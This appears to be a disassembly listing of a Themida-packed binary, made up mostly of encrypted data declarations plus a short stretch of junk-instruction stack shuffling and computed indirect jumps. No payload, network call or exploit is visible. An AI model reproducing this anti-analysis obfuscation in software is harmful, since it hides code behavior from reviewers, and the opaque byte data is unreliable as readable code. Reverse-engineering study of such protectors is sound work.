		dd 5C797D11h, 0E9D643AEh, 845B589h, 478907FAh, 8F0F0Ch
		dd 8B000000h, 4909285h,	38B0F08h, 0F000000h, 4789D1BFh
		dd 52006A08h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 7CD518B8h, 0CFCABD79h, 0C7839C1Ch, 13E828h
		dd 5D5A0000h, 3330B548h, 5C448089h, 86F72B8Bh, 0C8D1DFEBh
		dd 0EA8166A8h, 0C75ADFDBh, 6F632E07h, 56006A6Eh, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
		dd 0DE7BF305h, 0E0CFDEF5h, 0C681CE21h, 575DF1ACh, 660447C7h
		dd 8B006769h, 0FA1351B5h, 8A858B07h, 0F080490h,	4789D1B7h
		dd 0F2BF0F0Ch, 9086858Bh, 830F0804h, 4,	5A616053h, 8B084789h
		dd 6A58D0h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 9B4FBDC3h, 8D8D11B7h, 7FA0251h, 0B15B589h
		dd 0E95007FAh, 0Eh, 52AF1B6Dh, 0FB43A908h, 88280FBCh, 0C89150Eh
		dd 0C1952924h, 8B07FA09h, 0FA09A595h, 71B5FF07h, 0E907FA02h
		dd 0Bh,	7F3C8C0Ch, 0EDD4375Fh, 0BE28BEA9h, 33C76DB8h, 4E8h
		dd 100000h, 0F78B6600h,	1A46BA50h, 448B754Ah, 7E80424h
		dd 31000000h, 0F1B22C27h, 0BE84B59h, 9D000000h,	5241B44h
		dd 0D6F2E330h, 0DE81D9Ah, 61000000h, 9E772A7Fh,	5EF71322h
		dd 6CD62C0Bh, 8B5E5A5Eh, 88B0F00h, 52000000h, 870Fh, 895E0000h
		dd 8A042444h, 0B58B58F4h, 7FA1249h, 1E4DB5FFh, 858907FAh
		dd 7FA1A45h, 0B70FD0FFh, 0B8F7h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0ED502AC3h
		dd 6BBB776Dh, 0B5339E6Ch, 7FA0B01h, 840FC00Bh, 36h, 42D2BA66h
		dd 1ED1B5FFh, 0BE6607FAh, 95FFED86h, 7FA177Dh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0F4C35141h, 2E3603DDh
		dd 0C08BF5C6h, 83D2B70Fh, 0FA16D1BDh, 9750007h,	3535BD83h
		dd 740007FAh, 8B535019h, 42DB8C0h, 85890000h, 7FA112Dh
		dd 40419D8Dh, 0D3FF07FDh, 0BD83585Bh, 7FA3535h,	50177400h
		dd 42DB853h, 85890000h
		dd 7FA112Dh, 3CE29D8Dh,	0D3FF07FDh, 9D89585Bh, 7FA10CDh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 80C35040h
		dd 0B58B0D1Dh, 7FA1AD5h, 8BD68B66h, 51006AC0h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 0B24F5E13h
		dd 0FF5FA82h, 687h, 5958900h, 8B07FA0Dh, 1AE9C0h, 9D9A0000h
		dd 8B9h, 5 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_64C180
; ---------------------------------------------------------------------------
		db 0ADh, 27h, 1Dh
		dd 33C909E5h, 0E089FDFh, 2DD7FC04h, 73D99D5h, 2B2949FBh
		dd 8D71A1A3h, 2D51C143h, 9070A2A0h, 8047BB45h, 8B89983Ch
		dd 84E2C259h, 0E61EB894h, 4252450Eh, 29AA07D2h,	0B000C013h
		dd 0A0D065B9h, 731176CCh, 0BB54F87h, 0B81C43AFh, 0D975CA5Dh
		dd 69142F8h, 0C469648Ch, 5DB80120h, 81BB18CAh, 5D637041h
		dd 0C72DD701h, 0AD5782FEh, 6B197E47h, 1D27ABCFh, 2FD1FBD7h
		dd 0CA05F3A4h, 6D56ECE5h, 647B6743h, 7BCA5DB8h,	7F48AC56h
		dd 5B296E43h, 2DD3DBBFh, 0B0D60A9Ch, 58A9B840h,	0B102CA5Dh
		dd 4389AE6h, 0D37A0BCh,	0B4225EE7h, 617D0790h, 4935CF75h
		dd 0CD8F758Fh, 24B69356h, 96FA4AA1h, 5D583332h,	73894ACAh
		dd 9BA52F4Fh, 9403D059h, 4E846964h, 4B753EB6h, 5D5878A7h
		dd 0D300D1CAh, 0BA4091EDh, 6C26713Ah, 1711A8C4h, 6A479070h
		dd 0C2FED56Fh, 651CCAF2h, 7D0A954Ah, 6A1310Dh, 52A93FC3h
		dd 0C10EEA9Dh, 135DE7F0h, 724E85BFh, 9399D862h,	0CDBAAA5Eh
		dd 4327832Fh, 7170788Ah, 0CACA5DCEh, 66728EF9h,	606D428Bh
		dd 3A8922E2h, 5F832789h, 0CA5DCE40h, 57F0899h, 0AC48C2D9h
		dd 0F7FD07D0h, 301DBC43h, 3CA804B8h, 0CA5DCE25h, 0BC4B357Eh
		dd 0DEA98282h, 4C54E407h, 61DD10EEh, 1A6631CAh,	699B34BDh
		dd 0DA646F8Bh, 7AD6DAE9h, 33DFA85Ch, 9CC32F8Bh,	0F5CA5DB2h
		dd 329DDBACh, 0DFF42EBDh, 30CDD1E1h, 857F8552h,	4D8918ACh
		dd 603CC8CFh, 2C7C5550h, 2A5D952Fh, 5D349CC6h, 0E319B9CAh
		dd 6DA63521h, 513F062h,	9272613Eh, 0C28F4AC3h, 91355947h
		dd 0CA5D7B92h, 34B1D6EBh, 0E8E985B5h, 6E19B252h, 952CCE9Fh
		dd 0DAFEA205h, 0CA5D7ECBh, 73AD3C24h, 7C0BB891h, 13CFBh
		dd 96411D00h, 0D8BF886Ch, 2AC212C4h, 8CF82528h,	0A6314F38h
		dd 4D768C49h, 849B4763h, 0DDCA5DFCh, 9539C3D4h,	0CA5DFC8Ch
		dd 0F4102AA7h, 0D331CB08h, 0AA5A76FAh, 0CE0D984Ah, 349FA52Eh
		dd 1FC3E7D5h, 0CA5DFC00h, 0FC746B57h, 4CDCA5Dh,	0BBA2F5BEh
		dd 9B902020h, 1568F2D0h, 0E1709502h, 0B3059577h, 3013B97h
		dd 19A5D2Ah, 0DA000000h, 1B4AAE12h, 74CA5E24h, 9439DD60h
		dd 576C550Eh, 0D615C6Dh, 72255FB5h, 41A54C86h, 0CA5D4222h
		dd 139D267Bh, 42544B77h, 24ADCA5Dh, 0A52D0973h,	88D4E793h
		dd 706F5352h, 0C9CA5DB6h, 0BCBCCBF8h, 0EED2EE16h, 5DB5DB0Ah
		dd 9FC632CAh, 0F8CA5DB6h, 6B6707ABh, 0E79502D1h, 9AA42F4Bh
		dd 29C60BEDh, 5DB6A6BDh, 21B2FFCAh, 0EE10BB9Fh,	0D2FFDBA9h
		dd 794AF8D5h, 0C9725F7Bh, 0D214AE2Bh, 61A33054h, 0C88564DFh
		dd 0C5126E12h, 9BECC53Fh, 0FBD727C2h, 189BCA2Eh, 0DFF4CA5Eh
		dd 22B0CCF4h, 0FF50FC7h, 90FA8D36h, 0AA620B0h, 183E48DDh
		dd 6946916Fh, 7E62D952h, 59662D2Bh, 13C18A6Ah, 10F58098h
		dd 9D23B07Dh, 29916C1h,	7063EC08h, 3ECCBB94h, 656E125Eh
		dd 0EC8B8DFh, 0BF142EA3h, 0D44E5D01h, 98E9200h,	7423CABBh
		dd 0D5A42C08h, 400E1489h, 0F5DD1B6Ch, 0F389983Ch, 0D1E2CA5Dh
		dd 37A2BE02h, 395EE70Dh, 0CAA6DACBh, 360FF50Fh,	3463993Ah
		dd 4D232A9h, 0B22123ADh, 1F46B20Eh, 78CA5DF3h, 12AE5C2Bh
		dd 0B7E0646Eh, 0CCF40EC9h, 6E1923B0h, 88462A16h, 0DEED0B7Ch
		dd 0F37EA551h, 0CAD7CA5Dh, 3E93B7F9h, 60270004h, 0E51FB8A4h
		dd 504F731Fh, 0A9CA5DF3h, 0C67E5818h, 71687D2Eh, 1A7622E4h
		dd 5DF3B7AEh, 0FDC310CAh, 5DF2CAD9h, 98E23CAh, 0F5BD7D5Ch
		dd 0BAAF490Eh, 0C4C9CE83h, 59530E5h, 0AA6473D7h, 1B51ADDh
		dd 0E27E0000h, 8B9A3ECBh, 0E4CA5D6Bh, 270004CFh, 2BC1DA9Dh
		dd 14837957h, 626E1200h, 0BC3B5E2h, 3261A7FAh, 656EF754h
		dd 2CD6FF5Bh, 0EC98FFC8h, 0EA478050h, 51EA3FBEh, 16A33A46h
		dd 0EAE789BBh, 0A81BB450h, 2140A408h, 7ACA5DB4h, 445B8729h
		dd 9DCA5DB4h, 47F98314h, 0D7270797h, 619A468Ch,	91F6CD77h
		dd 892515D4h, 0C6F4BD39h, 66921190h, 0CA5E213Fh, 7C7C0B98h
		dd 0CB755F52h, 82804D29h, 961AA982h, 5E213332h,	8C378CCAh
		dd 7C6C9C24h, 0C4E2B7BBh, 67F27BF3h, 0C5D20150h, 0C8056945h
		dd 0A32B4D3Ah, 77AC3CA2h, 8E497618h, 0CB79074h,	3195F9B7h
		dd 0CA5D7632h, 7E768C49h, 0BCC40DB5h, 3811F32Dh, 0B909B54Fh
		dd 1B0E2105h, 0EEE38D3Eh, 9C354354h, 0E7706F53h, 4D87CA5Dh
		dd 3A7851B3h, 3A565A69h, 5DE7978Eh, 9DE3F0CAh, 57F0140Eh
		dd 2AA8D430h, 0C806F212h, 91EFB83Ch, 7B3ABA40h,	8C6AE702h
		dd 0FF39D0ACh, 46FCD905h, 98530A7Dh, 490318A8h,	0A3DECC4Ah
		dd 5D9B203Fh, 9B2879CAh, 0A3819ECh, 502C0595h, 0AC857FB9h
		dd 1121CDBh, 0E07C0000h, 22AB49F3h, 4D29F75h, 0B51E24ADh
		dd 1C43AF0Bh, 73CA5E24h, 5E24504Fh, 9A18A9CAh, 23D3D2F6h
		dd 972CCA5Eh, 0F5A15B2Ch, 2EC67C59h, 0C906F2A5h, 0FCD9753Bh
		dd 7225AE46h, 61E3EE0Ah, 0E21CB7A3h, 85646122h,	436705C8h
		dd 5E24809Fh, 0BFC8D9CAh, 0D773C326h, 0E9C242FCh, 0BD74629Eh
		dd 5E240A19h, 854E63CAh, 0B10DB18Dh, 5E241E45h,	0BE2A77CAh
		dd 0CA5E24A7h, 0D2F014BEh, 0C13BF01h, 65CA5E24h, 12692B5Ch
		dd 0B4E3616Eh, 0DCF70EC4h, 242161EBh, 39BB4986h, 50706370h
		dd 58FBE180h, 449038CAh, 0D17B2C7Ch, 0D22A5DAFh, 3945DEE6h
		dd 2018ED18h, 5DC2ADB4h, 6BD06CAh, 0C2273EAAh, 3380CA5Dh
		dd 0C2928C64h, 25AFCA5Dh, 0D5FDD91Bh, 0AFFDD52Fh, 454E40F2h
		dd 0C9209944h, 0ABCF6D8Ch, 0EC791E20h, 0E74B1AEDh, 811D0595h
		dd 5DB64E55h, 2241A5CAh, 7BCA5DB6h, 0C0248C26h,	0CA5DB6A1h
		dd 561AA9FAh, 0A42DC77Dh, 684F3h, 0C8A40000h, 71A3F40Ch
		dd 90616E12h, 713ABA42h, 0D2F6A262h, 0CA5E23D3h, 5B2C972Ch
		dd 2C948E1Dh, 243D6490h, 0D96CA5Eh, 0FBD6027Ah,	279B3C4Ah
		dd 359EE27Ah, 5ED8EF8Bh, 6317CB39h, 6235CF07h, 0D0E0607Bh
		dd 790C0A35h, 60A0E757h, 31CD049h, 2A2B8EF3h, 9B331799h
		dd 0CC741E69h, 0D5A55604h, 90F7A717h, 0D5DBE07Ah, 49CD58CDh
		dd 0EDD75BEFh, 71317B80h, 42FE89A4h, 8F96425Eh,	0E8CA5D83h
		dd 8E44ACDBh, 5D25795h,	7C58F4BCh, 8D29D3C4h, 709EC531h
		dd 0AAF7C263h, 0BB309BDDh, 3D16EE10h, 0D8B47C86h, 4BA95B74h
		dd 706F7682h, 4A86C263h, 51713ABAh, 30A3A12Dh, 85BE1967h
		dd 731A0799h, 0AA06BD7Ch, 21E5D61Ah, 7E469C0Eh,	0F0470AB4h
		dd 39C3D4B3h, 2DD7015Dh, 9A8D965Ah, 2EA8C263h, 0D602DE16h
		dd 9114D62Eh, 182CAA5Ah, 2A8622ABh, 3952EE9Ah, 3BAD48A5h
		dd 0C263E324h, 456D973Bh, 97520B7Ch, 0A1D917A7h, 6D071B1Eh
		dd 3EF3DE1Ah, 63648B9Ah, 4CFE4C2h, 0B633A0BCh, 4009EB19h
		dd 0AFD87193h, 7F535B63h, 9B735CA7h, 0AF2A5641h, 834F2B95h
		dd 0E5B27B79h, 0B31F7B17h, 0C26408ACh, 18B4BC05h, 54430CE8h
		dd 1997A924h, 8525175h,	16ABC264h, 0EAE71371h, 0FC8B450h
		dd 0A33A0FF5h, 0F0900B48h, 43C1438Ch, 5281BB17h, 0C1419845h
		dd 614ED16h, 0E651E6C5h, 5D77D3DDh, 467D8750h, 0ABBAD141h
		dd 0FD026F92h, 27CD7761h, 6D86F99Eh, 0AA000003h, 0FDF70DC6h
		dd 94E47335h, 893AB2DCh, 0FE93F13Bh, 3265C8D3h,	71C21262h
		dd 89CB6CA3h, 5EFC0E79h, 6382664Ah, 0BCCA5DF0h,	0EFE201E7h
		dd 663BCA5Dh, 0A033C90Ah, 49587C20h, 0A2CA5DF0h, 0EBA8611h
		dd 0D257F364h, 0BECD9121h, 237EE126h, 0C9FEC674h, 3CA05CC4h
		dd 0FF5B656Eh, 0FEC72DD7h
		dd 0C40FEB99h, 0C3DA763Ah, 9E22AB49h, 63412B3Ah, 682F84C2h
		dd 0E60BC6AAh, 6340E302h, 5D673CC2h, 0D74A1279h, 0AE12C175h
		dd 2BBFE612h, 8B18C263h, 795480FCh, 2C1110B4h, 596AC263h
		dd 7E6A466Ah, 0C2632C67h, 2C0B1ABEh, 4F64C263h,	3FC10B73h
		dd 5D790394h, 4531D371h, 0C5797B89h, 0FDAE9B3Eh, 122CA7C3h
		dd 4101D885h, 8CD6F71h,	0F0E296CFh, 0B41FA84Ch,	0B53A95E3h
		dd 0D6DAE91Bh, 0E0A75D7Ah, 0E7F28E32h, 9CC5C95Eh, 299AB04Ch
		dd 709502CBh, 26F21E1h,	733CEBB3h, 0FA3765E9h, 639BD7CEh
		dd 30A330C2h, 0E09867h,	54F80000h, 0FBFFC879h, 0C30501E6h
		dd 12958710h, 24E0646Eh, 3606FC8Bh, 15C8EA2Ah, 0AE25E4C5h
		dd 5326AE12h, 0ED9996D7h, 9DE48CFBh, 344A5D74h,	1681BB18h
		dd 0A83C842Ch, 872FB73Bh, 619EC533h, 0AAF74A5Dh, 0FDF70DC6h
		dd 7D219F34h, 5D614A59h, 890EA34Ah, 614857FBh, 765F4A5Dh
		dd 804C28CCh, 659FA52Dh, 0CFDF7CCh, 36A26279h, 665DF60Eh
		dd 973B5F61h, 4A5D6188h, 1EC7D0E1h, 0D337BBBh, 0F9642A70h
		dd 886C963Bh, 7F8314BFh, 0D24C5BBBh, 862A9932h,	0AF55EFEAh
		dd 0C9FA34C3h, 0C29E02BEh, 1061EF16h, 8C9CEAF6h, 59A85037h
		dd 0F0CA5DFCh, 0FBF928CCh, 8152CA5Dh, 8E442C16h, 1EB57E76h
		dd 0F311BEA2h, 664AE6A4h, 5DFC6382h, 56E8BCCAh,	0D0B3FD42h
		dd 0F8079043h, 18Ch, 659F3418h,	0C2126232h, 0D8B554BAh
		dd 7B8FF8F7h, 132FDDDDh, 4924D200h, 7B493E61h, 8152B1C6h
		dd 0D6FF5B3Fh, 98FFC82Ch, 574B16E0h, 2FA7C3D2h,	0ACADBF15h
		dd 0D1E397A2h, 7E54FCC6h, 0DBA52EC6h, 1FA84CF6h, 67700CB4h
		dd 98E17DDh, 0D7FB9F7Bh, 0C2623AC8h, 0F9079021h, 0FC06D1DEh
		dd 4885E9C7h, 9723ABAh,	18EA495h, 290F7CCh, 8DB7223Eh
		dd 0DED3FEFAh, 3C844FF5h, 88F8920h, 16BCA07Ch, 0CBCFA9EEh
		dd 0ECC262A3h, 79A84CE1h, 0D2C262A2h, 4632D201h, 0C97D778Dh
		dd 2BB29F3Ah, 9EC5318Dh, 0F7C262A2h, 0A2342B97h, 448DC262h
		dd 7E5D088Fh, 0B831A2BEh, 0A5F2E11Bh, 0EAC67853h, 0A20322C6h
		dd 345CC262h, 62A29190h, 0EAD9EAC2h, 2D51ED9Dh,	0CB64A0A2h
		dd 94F4C6BCh, 0F5BB0838h, 3FC57F59h, 7B1F2166h,	0A74DF7DFh
		dd 0C4548F1Fh, 6BD89BFh, 0E1EAF781h, 753DCA66h,	1CF90658h
		dd 47F3A4C3h, 0B067237Bh, 0DFF496DEh, 0AD8ED1E1h, 0C5D22167h
		dd 0F28E2AD2h, 10995BE1h, 0A45E7987h, 4D54801Ch, 0A6BA5D44h
		dd 4E126A1Dh, 882414D7h, 5D44455Ch, 14C29EBAh, 0CEB4E3F0h
		dd 2123AC0Ch, 0EB20EB2h, 5D43BBEAh, 39BF14BAh, 0BA5D432Ah
		dd 57692E83h, 82BC1733h, 0DC465B15h, 0B599C261h, 9F9BEC26h
		dd 9EB15BFh, 6D907441h,	656E9CBEh, 9F2E526Eh, 0FB35FA5h
		dd 0B258F310h, 56B5869h, 0F3BC38CAh, 7A4AE6A4h,	0EA69B9DEh
		dd 0F059250h, 0DF656E12h, 7FB8C25h, 0E4882831h,	6B5759EBh
		dd 0CA5E2474h, 0A59304CDh, 2241A509h, 7BCA5E24h, 8A976126h
		dd 0DDD262BDh, 0DBAC5681h, 0AE687FDFh, 6A467D56h, 0A4C0D95Ah
		dd 0F4A3DF65h, 4924AC88h, 458588C9h, 715C9CEBh,	51B36D7Ch
		dd 0F7B74B78h, 292204A7h, 0EA9D5075h, 0E4EEC30Eh, 0C242C00Dh
		dd 911ADAE9h, 0F1E27E42h, 7720A94Bh, 698D310Dh,	0C259493Ah
		dd 9F593E93h, 0C31684C7h, 3EAA06BAh, 0C19C0E27h, 79643380h
		dd 557EE262h, 0B7C55AFh, 5F61E2EDh, 0C9F5183Bh,	8428883Bh
		dd 9C054160h, 352C98C1h, 8EC19C05h, 63347D45h, 0AFB707A7h
		dd 23AB4F1h, 86512F58h,	8A667D69h, 0F2BFC19Bh, 17BBDFE1h
		dd 0C19B8A08h, 0BD475061h, 0A19BDE1h, 63C19B8Ah, 0D52FD1FBh
		dd 0C0C0C7FCh, 93B9613h, 5DAEF6BAh, 0D88F90FDh,	2E4AB2E5h
		dd 7460A4A0h, 894EA65Eh, 18D07D5Ch, 138C5C64h, 4CB4805Bh
		dd 0F747A23Bh, 96A371A7h, 0ABDCAB7Ah, 0C00002CDh, 0C4E9F8DCh
		dd 7142C19Bh, 0FCC46C26h, 0C692B703h, 301CD82h,	1EB9C7D0h
		dd 91FE25D1h, 0BD15C19Bh, 0DEE46D87h, 9EC2FED5h, 0FD871034h
		dd 0E6969121h, 4A11B6EFh, 6D01E27Ah, 54437393h,	2523h
		dd 313D8500h, 8D284213h, 129F7522h, 65A06AC2h, 0CEB90BF9h
		dd 28656D13h, 12A4E97Ah, 9F16784Ch, 684C189Dh, 2D2FD1Fh
		dd 0F3DEFAFAh, 0EC7B351h, 0E8E410F4h, 16C09C58h, 0ECEA16EEh
		dd 13C09C58h, 0D8EF0BE9h, 18BAA65Eh, 507220E4h,	405E089h
		dd 2D000000h, 4, 5C240487h
; ---------------------------------------------------------------------------
		mov	[esp], ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edi
		push	ebx
		mov	ebx, 511E05DEh
		mov	esi, 59229F03h
		sub	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	edx
		mov	edx, esi
		mov	[edi+8], edx
		mov	edx, [esp]
		add	esp, 4
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		align 2
		dw 3942h
		dd 87B9AE32h, 398CF701h
; ---------------------------------------------------------------------------


loc_64C180:				; CODE XREF: Themida_:0064B424j
		mov	eax, 804A5D3h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0F7h, 78h, 70h
		dd 64398745h, 0B391FF65h, 27578104h, 0A6554932h, 0C5691D50h
		dd 0CCACDC5Dh, 0FA115C12h, 26EE232Fh, 0AEF13308h, 9700F215h
		dd 0DB498630h, 0D8737879h, 0B367C653h, 23A56E26h, 44AD6E2Ah
		dd 7AC50609h, 2635BE13h, 1ADC6F59h, 2CE96Dh, 0F2A50000h
		dd 563h, 9 dup(0)
		dd 62E90000h, 0CB00000Ch, 0E707FB05h, 0BDC151EBh, 0E21EF42Eh
		dd 0B7B74BF1h, 0A72DE51Fh, 4BF9D57Fh, 0E31DB7B7h, 7C864F2Fh
		dd 0D56F6A86h, 0C2269A3Dh, 0C2597DA3h, 0A2BE5AFCh, 924A0C31h
		dd 0D5C05B9h, 22753EB6h, 0EA07D2F2h, 5E23E7FEh,	607340CAh
		dd 89983C60h, 0E2CA5E24h, 1923AFD1h, 462A166Eh,	0ED0B7C88h
		dd 7DA450E1h, 0D6CA5E24h, 0EABAF6CDh, 0DD6C2BC1h, 8EFC8B42h
		dd 1ECA6772h, 0CA5DB907h, 8D944060h, 0E6CA5DB9h, 738AE6DDh
		dd 61723BB9h, 0CF1CB7A3h, 5DB8FC23h, 641D67CAh,	8120EC2h
		dd 0F70DC6AAh, 0D5B9F7CCh, 5D4AF2F1h, 11764BCAh, 0C7E3C773h
		dd 5D4B041Bh, 0A4545DCAh, 0CA5D4B7Dh, 4AF1F0D4h, 794ACA5Dh
		dd 355C6839h, 0B544049Bh, 2FA3D5C2h, 0E3F014C2h, 18993521h
		dd 0A88183BDh, 0D2FDD91Bh, 0A4AAB91Dh, 0AE03CA5Dh, 0DFF3DF25h
		dd 9446DF25h, 5D7DDA11h, 0D8F303E6h, 0A4B0AF13h, 0B809CA5Dh
		dd 0A3D5CCF8h, 0A52ECA5Dh, 0CA2E922Eh, 0CA5DA49Bh, 5AB8DFF4h
		dd 24D8FA56h, 67488573h, 951ED650h, 0F3DE823Eh,	99A32F51h
		dd 45C5D25Bh, 3BC90569h, 59A7F0B9h, 0DAEAC67Ch,	551ED553h
		dd 24E0A7F4h, 45FFD478h, 47AA2652h, 0A163708Ah,	0AEA18B5h
		dd 9F65DFEEh, 0D76D6A06h, 8E4D981Dh, 0D77327C1h, 577B45FFh
		dd 0CA5DBD48h, 0DE8710A1h, 0B21F3BFBh, 0B4E36C88h, 0B7F90BC4h
		dd 0F6073893h, 0D10F5BCCh, 38DCE8DBh, 0A60A078Fh, 0C569296Eh
		dd 0DE162CA9h, 9B364255h, 388BB916h, 4C781478h,	0CA5E0755h
		dd 0CCD325AEh, 25CA5E06h, 4BC5D49Ch, 78D4C03Ch,	531EA35Ah
		dd 0F093245Bh, 223CB4E3h, 3FCA5DE1h, 84BE1794h,	0CC9B54Fh
		dd 0C63FFEF6h, 12D32623h, 0CA0367D7h, 2F3E4F38h, 810595C6h
		dd 0B54FF5DDh, 100C6B1Ch, 2C000001h, 797B8550h,	12B5E7B0h
		dd 241B4AAEh, 0C74CA5Eh, 49340C0h, 0FED4D9F4h, 57337D46h
		dd 5E24746Bh, 7C04CDCAh, 1CE8AF51h, 50F0DC80h, 46C1BB4h
		dd 0CA5E23DBh, 0A028DDF6h, 85FAC7A4h, 0E30FF5DEh, 0BE1A56E8h
		dd 0E3E57E87h, 4E85A2C9h, 38B332B6h, 1E42DE1Bh,	0E0ED93B1h
		dd 31A83562h, 8F606D11h, 6D46BE78h, 0D5C3156h, 5F0595F3h
		dd 8D65B84Fh, 4932F23h,	173h, 6E127100h, 8720E460h, 2AD20000h
		dd 55EFEA86h, 349EBA42h, 0E80CB010h, 0CA5E23B9h, 2ED6C112h
		dd 6E324292h, 0BBC59E2Dh, 5DBC0817h, 835061CAh,	56EFE414h
		dd 9A596576h, 4F71620Fh, 0BDCC487Fh, 296EEF5Eh,	0A8527F5Bh
		dd 9EA6304Ch, 0A85C7A66h, 9D28834Ch, 25D9113Eh,	274BD69Dh
		dd 0B5FB76D7h, 5D6F1211h, 31566BCAh, 0BD0535B4h, 1A0BF4FAh
		dd 0FF0186DCh, 0D5D929D3h, 0F3A45E79h, 0D6E5CA05h, 3ABE695Dh
		dd 8D368D2Ch, 1DF5DE67h, 4A597D21h, 0A3CA5DDCh,	1293890Eh
		dd 0B3E4606Eh, 79FC09C5h, 10608A9h, 4959576Ch, 0BF49C460h
		dd 24E0A75Ch, 0C40F9A38h, 0B252ECE7h, 0F31AAA19h, 0B86E3E0Ah
		dd 656D5380h, 0D227BF66h, 0F391F6ACh, 0D133CD07h, 0DC182AA5h
		dd 5602D968h, 837C9F99h, 0E9C2115Dh, 0F13E93B7h, 5D9CDE05h
		dd 596A37CAh, 434B72Eh,	0B0D75168h, 7EB06D0h, 0CA5D9CD8h
		dd 3A698D31h, 93CA5D9Dh, 823E953Eh, 3DF02232h, 6A1D120Dh
		dd 0AD3C2020h, 0CB89173h, 0BED83169h, 0E51384BCh, 3CF605EAh
		dd 0F319CB8h, 5C675CF5h, 25DFF854h, 922E0A72h, 5D7E3F66h
		dd 650B98CAh, 0CDABDC56h, 0E0BC043Eh, 5D7DEDF4h, 81A044CAh
		dd 0DACA5D7Eh, 6FD9E9C9h, 1BC73852h, 0F391F6CDh, 0CF35CF07h
		dd 14C22FA3h, 883B14F0h, 7574ED6Ch, 3DB74D85h, 1CA75F74h
		dd 0AA357DBDh, 0A45E77FFh, 35FDC760h, 0B3D2C536h, 595C2D2h
		dd 17345h, 0F0076300h, 124B5136h, 3AE65F6Eh, 0D88FDA0h
		dd 9CDCAB18h, 0EC16BF32h, 61E3EC08h, 0FB5F6172h, 87512FD1h
		dd 86720A7Dh, 57F3BD77h, 0DA47C740h, 7B494D2Ch,	99C53F48h
		dd 0DC03EF38h, 35CA5D3Dh, 0C19D576Ch, 4409EB11h, 0D6024299h
		dd 0CA5D3DCFh, 0B2289B28h, 0B5D9C60Eh, 6217A7DCh, 5E0B6F76h
		dd 0C8FBC8CAh, 71162EA8h, 0C905F5F4h, 0B252EAE8h, 5858AA19h
		dd 5F28D8F4h, 973CB521h, 0B272FF6Eh, 764DEE33h,	57B3B67Eh
		dd 4C1C6AD6h, 8644C77h,	0F8D133CDh, 0C809F58Fh,	6BDA4E33h
		dd 0C611A2B8h, 743C873Ch, 266EF72Ch, 4D3A38F8h,	0FA34C3AFh
		dd 54F0DEFAh, 27C21BB0h, 0C341FBD7h, 811DD9EAh,	0B54FF5DDh
		dd 0F7F26B1Ch, 952F3514h, 8B432705h, 0EC710E79h, 0CF000000h
		dd 9A8B25FFh, 692E98E4h, 91C21233h, 755A8C3Fh, 15C1BFC8h
		dd 9EDD1EFh, 0CA5E12DAh, 58825745h, 239FCAD9h, 9F7B098Eh
		dd 0A8C8D7FBh, 9021CA5Dh, 13DCF907h, 0A2629C37h, 0A8C0DF09h
		dd 0FED7CA5Dh, 3367E44h, 0EB7C264Dh, 46BE15BEh,	8084B81Ah
		dd 46B27F54h, 0CA5DB61Fh, 5C982B78h, 0C88564DDh, 0AD576705h
		dd 0C3E7721Ah, 8C4F1681h, 5FE124ACh, 9DE46720h,	45C00EEAh
		dd 0A63F3B3Eh, 445B872Dh, 9DCA5DD6h, 0AC14BF14h, 0FADDBB24h
		dd 3A4D4EC3h, 28CCF0D0h, 0CA5DEFF9h, 6168152h, 2FA900D2h
		dd 6E56EF15h, 7C3E668Bh, 7B458EFBh, 48577B1Fh, 0A1CA5DE6h
		dd 0E5B9E810h, 0C112CA5Dh, 98CA2ED6h, 3ECA5DE5h, 30D4FE62h
		dd 0D18CFBD4h, 8B462A1Ah, 6EFF0E79h, 420595BAh,	2958F1Eh
		dd 0A75h, 9B0B9300h, 5F630865h,	12DEBEC9h, 9EE2626Eh, 74841331h
		dd 6905AB65h, 37C5D268h, 2BD5FF5Bh, 699700C9h, 5C55816Eh
		dd 9C35CF71h, 0CF04CD27h, 3FFEE1F1h, 0A7F5A3B7h, 11F309C9h
		dd 0C9B54F38h, 0E0FCF832h, 1DB54FC9h, 57A0944Fh, 0D44B8D1Dh
		dd 0FCA03815h, 0BEC97360h, 1874C427h, 27515074h, 19AACA5Dh
		dd 5D26D0CFh, 0EF9829CAh, 0E2EDFA11h, 650BA460h, 931CD86Ah
		dd 37308040h, 8D9C4E29h, 6F89098Eh, 0C0428DE9h,	0EC596B44h
		dd 0ECF7B5BFh, 0A804AC17h, 27E6E018h, 4146B222h, 57AA19B7h
		dd 8C3090D2h, 63853968h, 0B74192C2h, 0C26385A8h, 2C24B001h
		dd 1B846BF8h, 411DA330h, 0BD966E94h, 8B4632CAh,	6F533779h
		dd 0C263AE70h, 3EB67087h, 13844D75h, 0E7E7B777h, 5EFC8C44h
		dd 0BC53106Bh, 0E3E77D08h, 0E409C4B4h, 63D5E100h, 5A693AC2h
		dd 978E3A56h, 0AEC263D6h, 4AE32123h, 0BA155B68h, 0B4E36C88h
		dd 0C1646C48h, 59886C8Fh, 0B2C263C0h, 4CEB321h,	0D0033D97h
		dd 0A3031C7h, 0CA8C264h, 312032C4h, 5D606F47h, 7352144Ah
		dd 0E97423B0h, 126E52F2h, 0EEB73DC7h, 6333DB0Ah, 0E19F34C2h
		dd 3C3C4BF1h, 2D516F91h, 99F99EA4h, 9522B995h, 65EE063Ch
